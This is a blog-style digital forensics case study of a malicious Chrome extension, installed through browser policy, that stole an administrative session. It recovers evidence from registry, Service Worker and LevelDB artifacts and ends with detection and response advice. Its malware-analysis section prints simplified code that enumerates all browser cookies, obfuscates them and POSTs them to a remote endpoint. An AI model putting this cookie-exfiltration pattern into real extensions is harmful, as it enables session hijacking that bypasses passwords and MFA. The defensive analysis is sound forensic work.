Browser Session Theft Through a Malicious Chrome Extension: A DFIR Case Study

Introduction

During a browser-focused DFIR investigation, I analyzed a case where a user was unexpectedly logged out of an internal administrative portal. Shortly afterward, the same authenticated session appeared to be used from outside the expected environment.

At first glance, the endpoint did not show the usual signs of compromise. There was no obvious malware executable, no classic persistence binary, and no immediate evidence of credential theft from the operating system. The decisive evidence was instead found inside the browser profile.

The investigation confirmed that the session was stolen by a malicious Chrome extension installed through a user-level Chrome policy. The extension abused the browser’s cookie API, staged stolen browser data locally, transformed the payload using WebAssembly, and transmitted it to a remote endpoint disguised as telemetry.

This post walks through the investigation process, key artifacts, and lessons learned, without publishing any sensitive authentication material, challenge-specific details, or proprietary identifiers.

Executive Summary

The confirmed attack vector was a malicious Chrome extension that enumerated browser cookies using the Chrome extension API.

The extension did not need to exploit a Chrome vulnerability. It operated through granted browser-extension capabilities and policy-based configuration. Once active, it collected browser cookies, serialized them, transformed the data through an embedded WebAssembly module, staged the result in Chrome extension storage, and sent it to a remote ingestion endpoint.

The stolen data included an active administrative web session. Because session tokens are treated as already-authenticated credentials, the attacker did not need the user’s password or MFA challenge to reuse the session.

Key findings:

AreaFindingInitial mechanismPolicy-installed malicious Chrome extensionTheft methodBrowser cookie enumeration through extension APIsLocal stagingChrome Local Extension Settings LevelDBObfuscationJavaScript obfuscation and embedded WebAssemblyExfiltrationHTTP POST to telemetry-themed endpointCleanupExtension removal and zeroed browser artifactsCVE exploitationNot supported by the evidence

Investigation Scope

The investigation focused on a mounted forensic image and extracted user-profile artifacts. The analysis used a working copy of the evidence while preserving the original source.

The main artifact categories reviewed were:

Artifact CategoryPurposeChrome HistoryConfirmed portal access and timeline contextChrome Cookies and SessionsChecked for session storage and cleanupChrome ExtensionsReviewed installed and removed extension tracesService Worker CacheRecovered malicious extension codeLocal Extension SettingsRecovered staged extension dataWebStorage and QuotaManagerCorrelated removed extension activityWindows RegistryIdentified Chrome policy configurationWindows Timeline and Recent ItemsCorrelated cleanup activityPowerShell tracesSupported post-incident cleanup hypothesis

Timeline Overview

The user accessed an internal administrative portal and later experienced logout-related behavior. Browser activity showed continued portal use, followed by evidence suggesting cleanup activity.

A simplified timeline:

TimeframeEventInterpretationInitial activityInternal portal visitedLegitimate authenticated browsingLater activityLogout-related browser activitySession disruption symptomsShortly afterPowerShell activity observedPossible cleanup or response activityCleanup windowCleanup script reference observedSupports evidence-removal hypothesisPost-cleanupBrowser artifacts found zeroedIndicates possible deliberate cleanup

The important point is that the browser history alone did not prove the attack. It provided context. The actual attack mechanism was confirmed only after correlating Chrome extension, registry, Service Worker, and LevelDB artifacts.

Browser Artifact Analysis

History and Session Context

Chrome History confirmed that the user accessed the internal administrative portal before and around the incident. The browser also contained searches related to account logout behavior and Chrome security topics.

Those searches were useful investigative leads, but they were not treated as proof of exploitation.

A common DFIR mistake is to over-attribute based on browser history. A user reading about a vulnerability does not mean that vulnerability was exploited. In this case, the strongest evidence came from recovered extension code and browser storage artifacts.

Evidence of Cleanup

Several high-value Chrome files were present but had a size of zero bytes.

ArtifactObserved StateInterpretationCookies databaseZero bytesCookie data likely cleared or zeroedCookies journalZero bytesNo transaction recovery availableSession filesZero bytesSession-state evidence removedTab filesZero bytesTab-state evidence removedPreferencesZero bytesBrowser and extension configuration removedSecure PreferencesZero bytesExtension integrity/config evidence removed

This mattered because normal browser usage was confirmed elsewhere. Empty databases did not mean the data never existed. In context, they became evidence of possible cleanup.

Extension Inventory Mismatch

The visible Chrome Extensions directory contained legitimate extensions, but none explained the incident.

A cross-artifact comparison revealed traces of a removed extension across several browser subsystems:

Artifact SourceEvidenceWebStorageExtension origin and storage namespace remainedLocal Extension SettingsLevelDB records remainedService Worker databaseBackground worker registration remainedService Worker ScriptCacheObfuscated malicious script survivedRegistryChrome third-party extension policy remainedExtensions directoryExtension folder was missing

This mismatch was one of the turning points in the investigation. The extension had been removed from the obvious location, but traces survived in less obvious browser subsystems.

Registry Evidence

The Windows user registry hive contained a Chrome policy branch for the removed extension.

That policy was significant for two reasons:

First, it showed that the extension was configured through policy rather than simply installed through the normal user interface.

Second, a policy value was later found to be used by the malicious extension as part of its payload transformation logic.

For Medium, I recommend not publishing the exact extension ID or full registry value from the original report. A generalized form is safer:

Software\Policies\Google\Chrome\3rdparty\extensions\<extension_id>\policy

This still teaches the forensic method without exposing challenge-specific identifiers.

Malicious Extension Analysis

The recovered service-worker script was heavily obfuscated. It used an encoded string array and a decoding routine to hide API names, constants, and operational details.

After deobfuscation, the behavior was clear.

The extension performed the following actions:

1. Enumerated browser cookies using the Chrome extension API.
2. Serialized the cookie collection into JSON.
3. Instantiated an embedded WebAssembly module.
4. Transformed the serialized cookie data.
5. Stored transformed snapshots in Chrome extension LevelDB storage.
6. Sent the transformed payload to a remote telemetry-themed endpoint.
7. Registered execution triggers for extension installation and browser startup.

A safe behavioral summary:

const cookies = await chrome.cookies.getAll({});
const serialized = JSON.stringify(cookies);

const { instance } = await WebAssembly.instantiate(wasmBytes.buffer);

instance.exports.optimize_buffer(length, transformationKey);

chrome.storage.local.set({
  diagnostics_cache: {
    payload: transformedData
  }
});

fetch(ingestionEndpoint, {
  method: "POST",
  body: JSON.stringify({ payload: encodedPayload })
});

This code should be treated as pseudocode for educational purposes, not a working reproduction of the original extension.

LevelDB Recovery

The removed extension’s Local Extension Settings directory contained intact LevelDB records. Some cleanup remnants were zero-byte files, but enough structured records survived to recover staged data.

The key lesson here is that simple string searches are not always enough. Raw keyword hits can show that something existed, but structured parsing is often required to reconstruct full records.

The analysis process was:

1. Copy intact non-zero LevelDB tables into a safe working directory.
2. Parse raw LevelDB records using a Chromium-aware parser.
3. Search for extension storage keys associated with diagnostics or cache data.
4. Export record metadata, sequence numbers, offsets, and values.
5. Extract staged payload arrays for controlled reversal.
6. Reconstruct the data in an isolated analysis environment.

WebAssembly Transformation

The extension embedded a WebAssembly module that exported functions used to transform the stolen cookie data.

The transformation key was derived from extension policy data stored in the registry. Recreating the workflow in an isolated environment allowed the staged LevelDB payloads to be transformed back into readable JSON.

A safe conceptual version of the reversal process:

const { instance } = await WebAssembly.instantiate(wasmBytes.buffer);

const ptr = instance.exports.get_buffer();

memory.set(stagedPayload, ptr);

instance.exports.optimize_buffer(stagedPayload.length, derivedKey);

const recovered = new TextDecoder().decode(
  memory.slice(ptr, ptr + stagedPayload.length)
);

The recovered data confirmed that browser session material had been collected. Any actual session token, cookie value, or replayable authentication material should never be published.

CVE Assessment

Chrome History showed that the user had visited material related to Chrome security and a possible V8 vulnerability. That initially suggested a browser-exploitation hypothesis.

However, the evidence did not support CVE exploitation.

The installed browser version was not the decisive factor. The decisive factor was that recovered extension code directly proved cookie theft through the Chrome extension API.

The final conclusion was:

QuestionAnswerWas vulnerability research present in browser history?YesDid browser history prove exploitation?NoWas exploit-specific payload evidence recovered?NoWas there direct evidence of another mechanism?YesFinal determinationMalicious extension abuse, not CVE exploitation

The reporting principle is simple:

A CVE should only be attributed when exploit-specific evidence supports it. Search history, vulnerability research, or temporal proximity are not enough.

Confirmed Attack Chain

The final attack chain was:

1. A malicious Chrome extension was configured through a user-level policy.
2. The extension ran as a Chrome service worker.
3. The service worker enumerated accessible browser cookies.
4. The cookie collection was serialized into JSON.
5. An embedded WebAssembly module transformed the serialized data.
6. The transformed data was staged in Chrome Local Extension Settings.
7. The extension sent the data to a remote ingestion endpoint.
8. The stolen session material allowed access to the internal portal without the user’s password.
9. Cleanup removed the extension directory and zeroed several browser artifacts.
10. Residual registry, Service Worker, WebStorage, LevelDB, Recent Items, and Timeline artifacts preserved the evidence.

ATT&CK-Oriented Mapping

Observed ActivityTechnique ConceptPolicy-installed browser extensionBrowser extension abuse and configuration-based persistenceCookie enumerationWeb session cookie theftWebAssembly transformationObfuscated or transformed dataHTTP POST exfiltrationApplication-layer exfiltrationSession replayUse of stolen web session materialArtifact zeroing and extension removalIndicator removal and file deletion

Detection Opportunities

Defenders should consider monitoring for:

Detection AreaRecommendationChrome policiesAlert on new or unknown extension IDs in user and enterprise policy pathsExtension permissionsReview extensions requesting cookie access or broad host permissionsExtension storageInspect suspicious Local Extension Settings LevelDB activityService workersReview unexpected extension service-worker registrationsWebAssemblyMonitor unusual WebAssembly usage in extension contextsBrowser cleanupAlert when Cookies, Sessions, Preferences, or Secure Preferences are zeroedSession reuseDetect the same session token appearing from inconsistent IPs, devices, or user agentsSession lifecycleRevoke active sessions after suspicious logout or suspected token theft

Incident Response Lessons

This case reinforced several important lessons:

Browser extensions are executable code and should be governed like software.

Session tokens are credentials. If stolen, they can bypass passwords and MFA.

A clean-looking endpoint can still have a compromised browser profile.

Removed extensions often leave traces across multiple browser subsystems.

Zero-byte browser artifacts can be evidence of cleanup, not absence of activity.

Structured LevelDB parsing can recover evidence that keyword searches miss.

CVE attribution must be evidence-based, not assumption-based.

Practical Response Checklist

For similar incidents, responders should:

1. Revoke all active sessions for the affected account.
2. Preserve the full browser profile before cleanup or reinstalling the browser.
3. Export Chrome policy keys from both user and machine hives.
4. Inventory current and historical extension IDs.
5. Collect Service Worker, WebStorage, Local Extension Settings, History, Cookies, Sessions, and Preferences artifacts.
6. Review endpoint timeline artifacts for cleanup scripts or suspicious PowerShell activity.
7. Review application logs for session replay.
8. Remove unauthorized policies and extensions.
9. Rotate affected credentials where appropriate.
10. Improve session binding, token rotation, and session invalidation logic.

Final Thoughts

This investigation started with a forced logout and ended with a confirmed browser-session theft chain. The key evidence was not a malware executable or a browser exploit. It was a malicious browser extension operating through granted permissions and policy configuration.

The most important takeaway is that browser forensics must be treated as a core part of endpoint investigation. Modern attacks increasingly target the browser because that is where identities, sessions, tokens, and enterprise applications live.

A removed extension, an empty cookie database, or a missing session file should not end the investigation. In this case, the decisive evidence survived in registry policy data, Service Worker cache, WebStorage, Local Extension Settings, and LevelDB records.

Browser artifacts told the story.